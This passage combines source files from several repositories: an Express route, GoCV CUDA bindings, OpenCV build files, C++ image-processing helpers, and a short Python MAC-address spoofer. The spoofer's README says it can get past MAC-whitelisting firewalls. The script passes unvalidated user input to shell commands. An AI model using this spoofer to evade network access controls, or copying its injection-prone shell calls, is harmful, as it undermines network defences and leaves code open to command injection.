<repo_name>Angularboy/express4-jade-template<file_sep>/routes/web.js var express = require('express'); var router = express.Router(); var routeDoc = {doc_content: CONFIG.doc_content}; /* GET home page. */ router.get('/', function (req, res, next) { routeDoc.route = 'index'; res.render('index', routeDoc); }); /* GET about page. */ router.get('/about', function (req, res, next) { routeDoc.route = 'about'; res.render('about', routeDoc); }); module.exports = router;<file_sep>/README.md # 使用注意事项 1.运行环境配置 2.路由规则 3.jade模版渲染
fff133e881d37fa999727fe406bc50f000a05d11
[ "JavaScript", "Markdown" ]
2
JavaScript
Angularboy/express4-jade-template
94053e55cdf59f84842c6875ed12f4cec6fc313f
ac415afea0e97f3eaf8242e736412cacac83b753
refs/heads/master
<file_sep>#!/usr/bin/env python # Usage: python MacChanger.py import subprocess interface = raw_input("What interface are you using? ") # pick interface found in ifconfig new_mac = raw_input("New MAC address, ie '00:11:22:33:44:55' ") # pick desired new mac address to change to print("[+] Changing MAC address for " + interface + " to " + new_mac + " [+]") subprocess.call("ifconfig " + interface + " down", shell=True) subprocess.call("ifconfig " + interface + " hw ether " + new_mac, shell=True) subprocess.call("ifconfig " + interface + " up", shell=True) <file_sep># MacChanger Simple python script that allows a user to spoof their MAC address to any address they want. Useful for getting past firewalls or blocks that white-list particular MAC addresses. Usage: ./MacChanger.py
d48ca01c628ffadcfc311290b8ce6d125630ba78
[ "Markdown", "Python" ]
2
Python
prism99/MacChanger
8227ff1a91ed4e9d5342383b23f748111d10c89e
ce96b0ddd42d2928d09e8238ac1483234b827571
refs/heads/master
<file_sep>// Package cuda is the GoCV wrapper around OpenCV cuda. // // For further details, please see: // https://github.com/opencv/opencv // // import "gocv.io/x/gocv/cuda" package cuda /* #include <stdlib.h> #include "cuda.h" */ import "C" import "gocv.io/x/gocv" // GpuMat is the GPU version of a Mat // // For further details, please see: // https://docs.opencv.org/master/d0/d60/classcv_1_1cuda_1_1GpuMat.html type GpuMat struct { p C.GpuMat } // Upload performs data upload to GpuMat (Blocking call) // // For further details, please see: // https://docs.opencv.org/master/d0/d60/classcv_1_1cuda_1_1GpuMat.html#a00ef5bfe18d14623dcf578a35e40a46b // func (g *GpuMat) Upload(data gocv.Mat) { C.GpuMat_Upload(g.p, C.Mat(data.Ptr())) } // Download performs data download from GpuMat (Blocking call) // // For further details, please see: // https://docs.opencv.org/master/d0/d60/classcv_1_1cuda_1_1GpuMat.html#a027e74e4364ddfd9687b58aa5db8d4e8 func (g *GpuMat) Download(dst *gocv.Mat) { C.GpuMat_Download(g.p, C.Mat(dst.Ptr())) } // Empty returns true if GpuMat is empty func (g *GpuMat) Empty() bool { return C.GpuMat_Empty(g.p) != 0 } // Close the GpuMat object func (g *GpuMat) Close() error { C.GpuMat_Close(g.p) g.p = nil return nil } // NewGpuMat returns a new empty GpuMat func NewGpuMat() GpuMat { return newGpuMat(C.GpuMat_New()) } // NewGpuMatFromMat returns a new GpuMat based on a Mat func NewGpuMatFromMat(mat gocv.Mat) GpuMat { return newGpuMat(C.GpuMat_NewFromMat(C.Mat(mat.Ptr()))) } func newGpuMat(p C.GpuMat) GpuMat { return GpuMat{p: p} } // PrintCudaDeviceInfo prints extensive cuda device information func PrintCudaDeviceInfo(device int) { C.PrintCudaDeviceInfo(C.int(device)) } // PrintShortCudaDeviceInfo prints a small amount of cuda device information func PrintShortCudaDeviceInfo(device int) { C.PrintShortCudaDeviceInfo(C.int(device)) } // GetCudaEnabledDeviceCount returns the number of cuda enabled devices on the // system func GetCudaEnabledDeviceCount() int { return int(C.GetCudaEnabledDeviceCount()) } // ConvertTo converts GpuMat into destination GpuMat. // // For further details, please see: // https://docs.opencv.org/master/d0/d60/classcv_1_1cuda_1_1GpuMat.html#a3a1b076e54d8a8503014e27a5440d98a // func (m *GpuMat) ConvertTo(dst *GpuMat, mt gocv.MatType) { C.GpuMat_ConvertTo(m.p, dst.p, C.int(mt)) return } <file_sep>cmake_minimum_required(VERSION 2.8) set (CMAKE_CXX_STANDARD 11) file(GLOB opencvd_SRC "*.h" "*.cpp" ) if (MSVC) include( $ENV{OpenCV_DIR}/OpenCVConfig.cmake ) message( STATUS "OpenCV library status:" ) message( STATUS " version: ${OpenCV_VERSION}" ) message( STATUS " libraries: ${OpenCV_LIBS}" ) message( STATUS " include path: ${OpenCV_INCLUDE_DIRS}" ) include_directories( ${OpenCV_INCLUDE_DIRS} ) add_subdirectory(contrib) add_library( opencvcapi STATIC ${opencvd_SRC}) if(OPENCVD_CUDA) file(GLOB opencvd_cuda_SRC "${CMAKE_CURRENT_SOURCE_DIR}/cuda/*.cpp") add_library( opencvcapi_cuda STATIC ${opencvd_cuda_SRC}) target_link_libraries(opencvcapi opencvcapi_contrib opencvcapi_cuda ${OpenCV_LIBS}) else() target_link_libraries(opencvcapi opencvcapi_contrib ${OpenCV_LIBS}) endif() endif (MSVC) if (UNIX) find_package( OpenCV REQUIRED ) set(CMAKE_EXE_LINKER_FLAGS " -lstdc++") add_subdirectory(contrib) add_library( opencvcapi STATIC ${opencvd_SRC}) if(OPENCVD_CUDA) file(GLOB opencvd_cuda_SRC "${CMAKE_CURRENT_SOURCE_DIR}/cuda/*.cpp") add_library( opencvcapi_cuda STATIC ${opencvd_cuda_SRC}) target_include_directories(opencvcapi_cuda PUBLIC ${OpenCV_INCLUDE_DIRS}) target_link_libraries(opencvcapi opencvcapi_contrib opencvcapi_cuda ${OpenCV_LIBS}) else() target_link_libraries(opencvcapi opencvcapi_contrib ${OpenCV_LIBS}) endif() endif (UNIX) <file_sep> #ifdef __cplusplus #include <opencv2/opencv.hpp> extern "C" { #endif #include "core.h" typedef void(*TrackbarCallback)(int pos, void* userdata); typedef void(*MouseCallback)(int event, int x, int y, int flags, void *userdata); void Trackbar_CreateWithCallBack(const char* trackname, const char* winname, int* value, int count, TrackbarCallback _cb, void* userdata); void Win_setMouseCallback(const char* winname, MouseCallback onMouse, void *userdata); #ifdef __cplusplus } #endif <file_sep>// +build !customenv package cuda // Changes here should be mirrored in gocv/cgo.go and contrib/cgo.go. /* #cgo !windows pkg-config: opencv4 #cgo CXXFLAGS: --std=c++11 #cgo windows CPPFLAGS: -IC:/opencv/build/install/include #cgo windows LDFLAGS: -LC:/opencv/build/install/x64/mingw/lib -lopencv_core451 -lopencv_face451 -lopencv_videoio451 -lopencv_imgproc451 -lopencv_highgui451 -lopencv_imgcodecs451 -lopencv_objdetect451 -lopencv_features2d451 -lopencv_video451 -lopencv_dnn451 -lopencv_xfeatures2d451 -lopencv_plot451 -lopencv_tracking451 -lopencv_img_hash451 -lopencv_calib3d451 -lopencv_bgsegm451 */ import "C" <file_sep>#include "videoio.h" #include <opencv2/opencv.hpp> // VideoWriter VideoCapture VideoCapture_New() { return new cv::VideoCapture(); } void VideoCapture_Close(VideoCapture v) { delete v; } bool VideoCapture_Open(VideoCapture v, const char* uri) { return v->open(uri); } bool VideoCapture_OpenDevice(VideoCapture v, int device) { return v->open(device); } void VideoCapture_Set(VideoCapture v, int prop, double param) { v->set(prop, param); } double VideoCapture_Get(VideoCapture v, int prop) { return v->get(prop); } int VideoCapture_IsOpened(VideoCapture v) { return v->isOpened(); } int VideoCapture_Read(VideoCapture v, Mat buf) { return v->read(*buf); } void VideoCapture_Grab(VideoCapture v, int skip) { for (int i = 0; i < skip; i++) { v->grab(); } } // VideoWriter VideoWriter VideoWriter_New() { return new cv::VideoWriter(); } void VideoWriter_Close(VideoWriter vw) { delete vw; } void VideoWriter_Open(VideoWriter vw, const char* name, const char* codec, double fps, int width, int height, bool isColor) { int codecCode = cv::VideoWriter::fourcc(codec[0], codec[1], codec[2], codec[3]); vw->open(name, codecCode, fps, cv::Size(width, height), isColor); } int VideoWriter_IsOpened(VideoWriter vw) { return vw->isOpened(); } void VideoWriter_Write(VideoWriter vw, Mat img) { *vw << *img; } <file_sep>#include "imgproc_helper.h" void Watershed(Mat src, Mat markers ){ cv::watershed( *src, *markers ); } int FloodFill( Mat image, Mat mask, Point seedPoint, Scalar newVal, Rect rect, Scalar loDiff, Scalar upDiff, int flags ){ cv::Point sp = {seedPoint.x, seedPoint.y}; cv::Scalar nv = cv::Scalar(newVal.val1, newVal.val2, newVal.val3, newVal.val4); cv::Rect r = {rect.x, rect.y, rect.width, rect.height}; cv::Scalar lo = {loDiff.val1, loDiff.val2, loDiff.val3, loDiff.val4}; cv::Scalar up = {upDiff.val1, upDiff.val2, upDiff.val3, upDiff.val4}; return cv::floodFill(*image, *mask, sp, nv, &r, lo, up, flags); } int FloodFill2(Mat image, Point seedPoint, Scalar newVal, Rect rect, Scalar loDiff, Scalar upDiff, int flags){ cv::Point sp = {seedPoint.x, seedPoint.y}; cv::Scalar nv = cv::Scalar(newVal.val1, newVal.val2, newVal.val3, newVal.val4); cv::Rect r = {rect.x, rect.y, rect.width, rect.height}; cv::Scalar lo = {loDiff.val1, loDiff.val2, loDiff.val3, loDiff.val4}; cv::Scalar up = {upDiff.val1, upDiff.val2, upDiff.val3, upDiff.val4}; return cv::floodFill(*image, sp, nv, &r, lo, up, flags); } struct Contours FindContoursWithHier(Mat src, Hierarchy* chierarchy, int mode, int method) { std::vector<std::vector<cv::Point> > contours; std::vector<cv::Vec4i> hierarchy; cv::findContours(*src, contours, hierarchy, mode, method); Scalar *scalars = (Scalar*)malloc(hierarchy.size()*sizeof(Scalar)); for (size_t i = 0; i < hierarchy.size(); i++){ Scalar s = {(double)hierarchy[i][0], (double)hierarchy[i][1], (double)hierarchy[i][2], (double)hierarchy[i][3]}; scalars[i] = s; } chierarchy->scalars = scalars; chierarchy->length = (int)hierarchy.size(); Contour* points = (Contour*)malloc(contours.size()*sizeof(Contour)); for (size_t i = 0; i < contours.size(); i++) { Point* pts = (Point*)malloc(contours[i].size()*sizeof(Point)); for (size_t j = 0; j < contours[i].size(); j++) { Point pt = {contours[i][j].x, contours[i][j].y}; pts[j] = pt; } Contour c = {pts, (int)contours[i].size()}; points[i] = c; } Contours cons = {points, (int)contours.size()}; return cons; } void Canny2(Mat dx, Mat dy, Mat edges, double threshold1, double threshold2, bool L2gradient){ cv::Canny(*dx, *dy, *edges, threshold1, threshold2, L2gradient); } void Canny3(Mat image, Mat edges, double threshold1, double threshold2, int apertureSize, bool L2gradient){ cv::Canny(*image, *edges, threshold1, threshold2, apertureSize, L2gradient); } Mat GetStructuringElementWithAnchor(int shape, Size ksize, Point anchor){ cv::Point p1(anchor.x, anchor.y); cv::Size sz(ksize.width, ksize.height); return new cv::Mat(cv::getStructuringElement(shape, sz, p1)); } void DrawContours2( Mat image, Contours points, int contourIdx, Scalar color, int thickness, int lineType, Hierarchy hierarchy, int maxLevel, Point offset){ std::vector<cv::Vec4i> cvhierarchy; for (size_t i = 0; i < hierarchy.length; i++) { cv::Vec4i colr = cv::Vec4i((int)hierarchy.scalars[i].val1, (int)hierarchy.scalars[i].val2, (int)hierarchy.scalars[i].val3, (int)hierarchy.scalars[i].val4); cvhierarchy.push_back(colr); } std::vector<std::vector<cv::Point> > cpts; for (size_t i = 0; i < points.length; i++) { Contour contour = points.contours[i]; std::vector<cv::Point> cntr; for (size_t i = 0; i < contour.length; i++) { cntr.push_back(cv::Point(contour.points[i].x, contour.points[i].y)); } cpts.push_back(cntr); } cv::Scalar cvsclr = cv::Scalar(color.val1, color.val2, color.val3, color.val4); cv::Point p = cv::Point(offset.x, offset.y); cv::drawContours(*image, cpts, contourIdx, cvsclr, thickness, lineType, cvhierarchy, maxLevel, p); } struct Points ConvexHull2(Contour points, bool clockwise) { std::vector<cv::Point> pts; for (size_t i = 0; i < points.length; i++) { pts.push_back(cv::Point(points.points[i].x, points.points[i].y)); } std::vector<cv::Point> _retHull; cv::convexHull(pts, _retHull, clockwise, true); Point* _pts = new Point[_retHull.size()]; for (size_t i = 0; i < _retHull.size(); i++) { Point tmp = {_retHull[i].x, _retHull[i].y}; _pts[i] = tmp; } Points con = {_pts, (int)_retHull.size()}; return con; } struct IntVector ConvexHull3(Contour points, bool clockwise) { std::vector<cv::Point> pts; for (size_t i = 0; i < points.length; i++) { pts.push_back(cv::Point(points.points[i].x, points.points[i].y)); } std::vector<int> _retHull; cv::convexHull(pts, _retHull, clockwise, false); int* _pts = new int[_retHull.size()]; for (size_t i = 0; i < _retHull.size(); i++) { _pts[i] = _retHull[i]; } IntVector con = {_pts, (int)_retHull.size()}; return con; } void CalcHist1(Mat dst, int nimages, int* channels, Mat mask, Mat hist, int dims, int* histSize, const float** ranges, bool uniform, bool accumulate){ cv::calcHist(dst, nimages, channels, *mask, *hist, dims, histSize, ranges, uniform, accumulate); } void CalcHist2(Mat dst, Mat mask, Mat hist, int* histSize){ cv::calcHist(dst, 1, 0, *mask, *hist, 1, histSize, 0); } void Rectangle2(Mat img, Point _pt1, Point _pt2, Scalar color, int thickness, int lineType, int shift){ cv::Point pt1 = cv::Point(_pt1.x, _pt1.y); cv::Point pt2 = cv::Point(_pt2.x, _pt2.y); cv::Scalar c = cv::Scalar(color.val1, color.val2, color.val3, color.val4); cv::rectangle( *img, pt1, pt2, c, thickness, lineType, shift ); } Vec3fs HoughCircles3(Mat image, int method, double dp, double minDist, double param1, double param2, int minRadius, int maxRadius){ std::vector<cv::Vec3f> circles; HoughCircles(*image, circles, method, dp, minDist, param1, param2, minRadius, maxRadius); Vec3f* ccs = (Vec3f*)malloc(circles.size()*sizeof(Vec3f)); for (size_t i = 0; i < circles.size(); i++) { Vec3f vc3f = {circles[i][0], circles[i][1], circles[i][2]}; ccs[i] = vc3f; } Vec3fs retCircles = {ccs, (int)circles.size()}; return retCircles; } void Circle2(Mat img, Point center, int radius, Scalar color, int thickness, int shift){ cv::Point p1(center.x, center.y); cv::Scalar c = cv::Scalar(color.val1, color.val2, color.val3, color.val4); cv::circle(*img, p1, radius, c, thickness, shift); } void HoughLines2(Mat image, Vec2fs* _lines, double rho, double theta, int threshold, double srn, double stn, double min_theta, double max_theta){ std::vector<cv::Vec2f> lines; HoughLines(*image, lines, rho, theta, threshold, srn, stn, min_theta, max_theta); Vec2f* lns = (Vec2f*)malloc(lines.size()*sizeof(Vec2f)); for (size_t i = 0; i < lines.size(); i++) { Vec2f vc2f = {lines[i][0], lines[i][1]}; lns[i] = vc2f; } _lines->vec2fs = lns; _lines->length = (int)lines.size(); } void HoughLinesP2(Mat image, Vec4is* _lines, double rho, double theta, int threshold, double minLineLength, double maxLineGap){ std::vector<cv::Vec4i> lines; HoughLinesP(*image, lines, rho, theta, threshold, minLineLength, maxLineGap); Vec4i* lns = (Vec4i*)malloc(lines.size()*sizeof(Vec4i)); for (size_t i = 0; i < lines.size(); i++) { Vec4i vc4i = {lines[i][0], lines[i][1]}; lns[i] = vc4i; } _lines->vec4is = lns; _lines->length = (int)lines.size(); } void Line2(Mat img, Point pt1, Point pt2, Scalar color, int thickness, int lineType, int shift){ cv::Point p1(pt1.x, pt1.y); cv::Point p2(pt2.x, pt2.y); cv::Scalar c = cv::Scalar(color.val1, color.val2, color.val3, color.val4); cv::line(*img, p1, p2, c, thickness, lineType, shift); } void DistanceTransform(Mat src, Mat dst, Mat labels, int distanceType, int maskSize, int labelType){ distanceTransform(*src, *dst, *labels, distanceType, maskSize, labelType); } void DistanceTransform2(Mat src, Mat dst, int distanceType, int maskSize, int dstType){ distanceTransform(*src, *dst, distanceType, maskSize, dstType); } Subdiv2D Subdiv2d_New(){ return new cv::Subdiv2D(); } Subdiv2D Subdiv2d_NewFromRect(Rect r){ return new cv::Subdiv2D(cv::Rect(r.x, r.y, r.width, r.height)); } void Subdiv2D_Close(Subdiv2D sd){ delete sd; } void Subdiv2D_Insert(Subdiv2D sd, Point2f p){ sd->insert(cv::Point2f(p.x, p.y)); } void Subdiv2D_InsertMultiple(Subdiv2D sd, Point2fs ptvec){ std::vector< cv::Point2f > pv; for( size_t i = 0; i < ptvec.length; i++ ){ Point2f pp = ptvec.points[i]; cv::Point2f p = {pp.x, pp.y}; pv.push_back(p); } sd->insert(pv); } struct Vec6fs Subdiv2D_GetTriangleList(Subdiv2D sd){ std::vector<cv::Vec6f> triangleList; sd->getTriangleList(triangleList); Vec6f* v6ptr = new Vec6f[triangleList.size()]; for( size_t i = 0; i < triangleList.size(); i++ ){ cv::Vec6f t = triangleList[i]; Vec6f v6 = {t[0], t[1], t[2], t[3], t[4], t[5]}; v6ptr[i] = v6; } Vec6fs ret = {v6ptr, (int)triangleList.size()}; return ret; } Point2fss Subdiv2D_GetVoronoiFacetList(Subdiv2D sd, IntVector idx, Point2fs* faceCenters){ std::vector<std::vector<cv::Point2f> > facets; std::vector<cv::Point2f> centers; std::vector<int> cidx; for(size_t k = 0; k < idx.length; k++) cidx.push_back(idx.val[k]); sd->getVoronoiFacetList(cidx, facets, centers); Point2fs* elemFacetList = (Point2fs*)malloc(facets.size()*sizeof(Point2fs)); for( size_t i = 0; i < facets.size(); i++ ){ std::vector<cv::Point2f> vp2f = facets[i]; Point2f* points = (Point2f*)malloc(vp2f.size()*sizeof(Point2f)); for( size_t j = 0; j < vp2f.size(); j++ ){ Point2f point = {vp2f[j].x, vp2f[j].y}; points[j] = point; } Point2fs p2fs = {points, (int)vp2f.size()}; elemFacetList[i] = p2fs; } Point2f* centersPtr = (Point2f*)malloc(centers.size()*sizeof(Point2f)); for( size_t i = 0; i < centers.size(); i++ ){ cv::Point2f fc = centers[i]; Point2f _fc = {fc.x, fc.y}; centersPtr[i] = _fc ; } //Point2fs _ret2 = {centersPtr, (int)centers.size()}; faceCenters->points = centersPtr; faceCenters->length = (int)centers.size(); Point2fss _ret1 = {elemFacetList, (int)facets.size()}; return _ret1; } int Subdiv2D_Locate(Subdiv2D sd, Point2f _pt, int &edge, int &vertex){ cv::Point2f pt = {_pt.x, _pt.y}; return sd->locate(pt, edge, vertex); } int Subdiv2D_EdgeOrg(Subdiv2D sd, int edge, Point2f* orgpt){ cv::Point2f op; int retInt = sd->edgeOrg(edge, &op); orgpt->x = op.x; orgpt->y = op.y; return retInt; } int Subdiv2D_EdgeDst(Subdiv2D sd, int edge, Point2f* dstpt){ cv::Point2f op; int retInt = sd->edgeDst(edge, &op); dstpt->x = op.x; dstpt->y = op.y; return retInt; } int Subdiv2D_GetEdge(Subdiv2D sd, int edge, int nextEdgeType){ return sd->getEdge(edge, nextEdgeType); } int Subdiv2D_NextEdge(Subdiv2D sd, int edge){ return sd->nextEdge(edge); } int Subdiv2D_RotateEdge(Subdiv2D sd, int edge, int rotate){ return sd->rotateEdge(edge, rotate); } int Subdiv2D_SymEdge(Subdiv2D sd, int edge){ return sd->symEdge(edge); } int Subdiv2D_FindNearest(Subdiv2D sd, Point2f pt, Point2f* _nearestPt){ cv::Point2f p = {pt.x, pt.y}; cv::Point2f np; int retInt = sd->findNearest(p, &np); _nearestPt->x = np.x; _nearestPt->y = np.y; return retInt; } struct Vec4fs Subdiv2D_GetEdgeList(Subdiv2D sd){ std::vector<cv::Vec4f> v4; sd->getEdgeList(v4); Vec4f *v4fs = (Vec4f*)malloc(v4.size()*sizeof(Vec4f)); for(size_t i=0; i < v4.size(); i++){ Vec4f v4c = {v4[i][0], v4[i][1], v4[i][2], v4[i][3]}; v4fs[i] = v4c; } Vec4fs v4s = {v4fs, (int)v4.size()}; return v4s; }; struct IntVector Subdiv2D_GetLeadingEdgeList(Subdiv2D sd){ std::vector<int> iv; sd->getLeadingEdgeList(iv); int *cintv = new int[iv.size()]; for(size_t i=0; i < iv.size(); i++){ cintv[i] = iv[i]; } IntVector ret = {cintv, (int)iv.size()}; return ret; }; Point2f Subdiv2D_GetVertex(Subdiv2D sd, int vertex, int* firstEdge){ cv::Point2f vx = sd->getVertex(vertex, firstEdge); Point2f cvx = {vx.x, vx.y}; return cvx; } void Subdiv2D_InitDelaunay(Subdiv2D sd, Rect bRect){ cv::Rect r = {bRect.x, bRect.y, bRect.width, bRect.height}; sd->initDelaunay(r); } void FillConvexPoly(Mat img, Points points, Scalar color, int lineType, int shift){ std::vector<cv::Point> pts; for(int i=0; i < points.length; i++){ cv::Point p = {points.points[i].x, points.points[i].y}; pts.push_back(p); } cv::Scalar c = cv::Scalar(color.val1, color.val2, color.val3, color.val4); cv::fillConvexPoly(*img, pts, c, lineType, shift); } void Polylines(Mat img, Points _pts, bool isClosed, Scalar color, int thickness, int lineType, int shift){ std::vector<cv::Point> pts; for(int i=0; i < _pts.length; i++){ cv::Point p = {_pts.points[i].x, _pts.points[i].y}; pts.push_back(p); } cv::Scalar c = cv::Scalar(color.val1, color.val2, color.val3, color.val4); cv::polylines(*img, pts, isClosed, c, thickness, lineType, shift); } void Polylines2ss(Mat img, Pointss flist, bool isClosed, Scalar color, int thickness, int lineType, int shift){ std::vector<std::vector<cv::Point>> pts; for(int i=0; i < flist.length; i++){ std::vector<cv::Point> inner; for(int j=0; j < flist.pointss[i].length; j++){ cv::Point inp = {flist.pointss[i].points[j].x, flist.pointss[i].points[j].y}; inner.push_back(inp); } pts.push_back(inner); } cv::Scalar c = cv::Scalar(color.val1, color.val2, color.val3, color.val4); cv::polylines(*img, pts, isClosed, c, thickness, lineType, shift); } struct RotatedRect FitEllipse(Points points){ std::vector<cv::Point> pts; for (size_t i = 0; i < points.length; i++) { pts.push_back(cv::Point(points.points[i].x, points.points[i].y)); } cv::RotatedRect cvrect = cv::fitEllipse(pts); Point* rpts = new Point[4]; cv::Point2f* pts4 = new cv::Point2f[4]; cvrect.points(pts4); for (size_t j = 0; j < 4; j++) { Point pt = {int(lroundf(pts4[j].x)), int(lroundf(pts4[j].y))}; rpts[j] = pt; } delete[] pts4; cv::Rect bRect = cvrect.boundingRect(); Rect r = {bRect.x, bRect.y, bRect.width, bRect.height}; Point centrpt = {int(lroundf(cvrect.center.x)), int(lroundf(cvrect.center.y))}; Size szsz = {int(lroundf(cvrect.size.width)), int(lroundf(cvrect.size.height))}; Contour c = {rpts, 4}; RotatedRect retrect = {c, r, centrpt, szsz, cvrect.angle}; return retrect; } struct RotatedRect FitEllipse2(Mat points){ cv::RotatedRect cvrect = cv::fitEllipse(*points); Point* rpts = new Point[4]; cv::Point2f* pts4 = new cv::Point2f[4]; cvrect.points(pts4); for (size_t j = 0; j < 4; j++) { Point pt = {int(lroundf(pts4[j].x)), int(lroundf(pts4[j].y))}; rpts[j] = pt; } delete[] pts4; cv::Rect bRect = cvrect.boundingRect(); Rect r = {bRect.x, bRect.y, bRect.width, bRect.height}; Point centrpt = {int(lroundf(cvrect.center.x)), int(lroundf(cvrect.center.y))}; Size szsz = {int(lroundf(cvrect.size.width)), int(lroundf(cvrect.size.height))}; Contour c = {rpts, 4}; RotatedRect retrect = {c, r, centrpt, szsz, cvrect.angle}; return retrect; } struct RotatedRect FitEllipseAMS(Points points){ std::vector<cv::Point> pts; for (size_t i = 0; i < points.length; i++) { pts.push_back(cv::Point(points.points[i].x, points.points[i].y)); } cv::RotatedRect cvrect = cv::fitEllipseAMS(pts); Point* rpts = new Point[4]; cv::Point2f* pts4 = new cv::Point2f[4]; cvrect.points(pts4); for (size_t j = 0; j < 4; j++) { Point pt = {int(lroundf(pts4[j].x)), int(lroundf(pts4[j].y))}; rpts[j] = pt; } delete[] pts4; cv::Rect bRect = cvrect.boundingRect(); Rect r = {bRect.x, bRect.y, bRect.width, bRect.height}; Point centrpt = {int(lroundf(cvrect.center.x)), int(lroundf(cvrect.center.y))}; Size szsz = {int(lroundf(cvrect.size.width)), int(lroundf(cvrect.size.height))}; Contour c = {rpts, 4}; RotatedRect retrect = {c, r, centrpt, szsz, cvrect.angle}; return retrect; } struct RotatedRect FitEllipseAMS2(Mat points){ cv::RotatedRect cvrect = cv::fitEllipseAMS(*points); Point* rpts = new Point[4]; cv::Point2f* pts4 = new cv::Point2f[4]; cvrect.points(pts4); for (size_t j = 0; j < 4; j++) { Point pt = {int(lroundf(pts4[j].x)), int(lroundf(pts4[j].y))}; rpts[j] = pt; } delete[] pts4; cv::Rect bRect = cvrect.boundingRect(); Rect r = {bRect.x, bRect.y, bRect.width, bRect.height}; Point centrpt = {int(lroundf(cvrect.center.x)), int(lroundf(cvrect.center.y))}; Size szsz = {int(lroundf(cvrect.size.width)), int(lroundf(cvrect.size.height))}; Contour c = {rpts, 4}; RotatedRect retrect = {c, r, centrpt, szsz, cvrect.angle}; return retrect; } struct RotatedRect FitEllipseDirect(Points points){ std::vector<cv::Point> pts; for (size_t i = 0; i < points.length; i++) { pts.push_back(cv::Point(points.points[i].x, points.points[i].y)); } cv::RotatedRect cvrect = cv::fitEllipseDirect(pts); Point* rpts = new Point[4]; cv::Point2f* pts4 = new cv::Point2f[4]; cvrect.points(pts4); for (size_t j = 0; j < 4; j++) { Point pt = {int(lroundf(pts4[j].x)), int(lroundf(pts4[j].y))}; rpts[j] = pt; } delete[] pts4; cv::Rect bRect = cvrect.boundingRect(); Rect r = {bRect.x, bRect.y, bRect.width, bRect.height}; Point centrpt = {int(lroundf(cvrect.center.x)), int(lroundf(cvrect.center.y))}; Size szsz = {int(lroundf(cvrect.size.width)), int(lroundf(cvrect.size.height))}; Contour c = {rpts, 4}; RotatedRect retrect = {c, r, centrpt, szsz, cvrect.angle}; return retrect; } struct RotatedRect FitEllipseDirect2(Mat points){ cv::RotatedRect cvrect = cv::fitEllipseDirect(*points); Point* rpts = new Point[4]; cv::Point2f* pts4 = new cv::Point2f[4]; cvrect.points(pts4); for (size_t j = 0; j < 4; j++) { Point pt = {int(lroundf(pts4[j].x)), int(lroundf(pts4[j].y))}; rpts[j] = pt; } delete[] pts4; cv::Rect bRect = cvrect.boundingRect(); Rect r = {bRect.x, bRect.y, bRect.width, bRect.height}; Point centrpt = {int(lroundf(cvrect.center.x)), int(lroundf(cvrect.center.y))}; Size szsz = {int(lroundf(cvrect.size.width)), int(lroundf(cvrect.size.height))}; Contour c = {rpts, 4}; RotatedRect retrect = {c, r, centrpt, szsz, cvrect.angle}; return retrect; } void Ellipse2(Mat img, RotatedRect box, Scalar color, int thickness, int lineType){ cv::Size sz = {box.size.width, box.size.height}; cv::Point center = {box.center.x, box.center.y}; cv::RotatedRect cvrect = cv::RotatedRect(center, sz, float(box.angle)); cv::Scalar c = cv::Scalar(color.val1, color.val2, color.val3, color.val4); cv::ellipse(*img, cvrect, c, thickness, lineType); } void PyrMeanShiftFiltering(Mat src, Mat dst, double sp, double sr, int maxLevel, TermCriteria termcrit){ cv::pyrMeanShiftFiltering(*src, *dst, sp, sr, maxLevel, *termcrit); } double CLAHE_GetClipLimit(CLAHE c){ return (*c)->getClipLimit(); } Size CLAHE_GetTilesGridSize(CLAHE c){ cv::Size sz = (*c)->getTilesGridSize(); Size _sz = {sz.width, sz.height}; return _sz; } void CLAHE_SetClipLimit(CLAHE c, double clipLimit){ (*c)->setClipLimit(clipLimit); } void CLAHE_SetTilesGridSize (CLAHE c, Size tileGridSize){ cv::Size cvSize(tileGridSize.width, tileGridSize.height); (*c)->setTilesGridSize(cvSize); } void Dilate2(Mat src, Mat dst, Mat kernel, Point anchor, int iterations) { cv::dilate(*src, *dst, *kernel, cv::Point(anchor.x,anchor.y), iterations); } void Erode2(Mat src, Mat dst, Mat kernel, Point anchor, int iterations) { cv::erode(*src, *dst, *kernel, cv::Point(anchor.x,anchor.y), iterations); } double MinEnclosingTriangle(Mat points, Mat triangle){ return cv::minEnclosingTriangle(*points, *triangle); } double CompareHist(Mat H1, Mat H2, int method){ return cv::compareHist(*H1, *H2, method); } <file_sep>package cuda /* #include <stdlib.h> #include "cudawarping.h" */ import "C" import ( "image" "image/color" ) // InterpolationFlags are bit flags that control the interpolation algorithm // that is used. type InterpolationFlags int const ( // InterpolationNearestNeighbor is nearest neighbor. (fast but low quality) InterpolationNearestNeighbor InterpolationFlags = 0 // InterpolationLinear is bilinear interpolation. InterpolationLinear InterpolationFlags = 1 // InterpolationCubic is bicube interpolation. InterpolationCubic InterpolationFlags = 2 // InterpolationArea uses pixel area relation. It is preferred for image // decimation as it gives moire-free results. InterpolationArea InterpolationFlags = 3 // InterpolationLanczos4 is Lanczos interpolation over 8x8 neighborhood. InterpolationLanczos4 InterpolationFlags = 4 // InterpolationDefault is an alias for InterpolationLinear. InterpolationDefault = InterpolationLinear // InterpolationMax indicates use maximum interpolation. InterpolationMax InterpolationFlags = 7 ) // BorderType type of border. type BorderType int const ( // BorderConstant border type BorderConstant BorderType = 0 // BorderReplicate border type BorderReplicate BorderType = 1 // BorderReflect border type BorderReflect BorderType = 2 // BorderWrap border type BorderWrap BorderType = 3 // BorderReflect101 border type BorderReflect101 BorderType = 4 // BorderTransparent border type BorderTransparent BorderType = 5 // BorderDefault border type BorderDefault = BorderReflect101 // BorderIsolated border type BorderIsolated BorderType = 16 ) // Resize resizes an image. // // For further details, please see: // https://docs.opencv.org/master/db/d29/group__cudawarping.html#ga4f5fa0770d1c9efbadb9be1b92a6452a func Resize(src GpuMat, dst *GpuMat, sz image.Point, fx, fy float64, interp InterpolationFlags) { pSize := C.struct_Size{ width: C.int(sz.X), height: C.int(sz.Y), } C.CudaResize(src.p, dst.p, pSize, C.double(fx), C.double(fy), C.int(interp)) } // Rotate rotates an image around the origin (0,0) and then shifts it. // // For further details, please see: // https://docs.opencv.org/master/db/d29/group__cudawarping.html#ga55d958eceb0f871e04b1be0adc6ef1b5 func Rotate(src GpuMat, dst *GpuMat, sz image.Point, angle, xShift, yShift float64, interp InterpolationFlags) { pSize := C.struct_Size{ width: C.int(sz.X), height: C.int(sz.Y), } C.CudaRotate(src.p, dst.p, pSize, C.double(angle), C.double(xShift), C.double(yShift), C.int(interp)) } // Remap applies a generic geometrical transformation to an image. // // For further details, please see: // https://docs.opencv.org/master/db/d29/group__cudawarping.html#ga0ece6c76e8efa3171adb8432d842beb0 func Remap(src GpuMat, dst, xmap, ymap *GpuMat, interpolation InterpolationFlags, 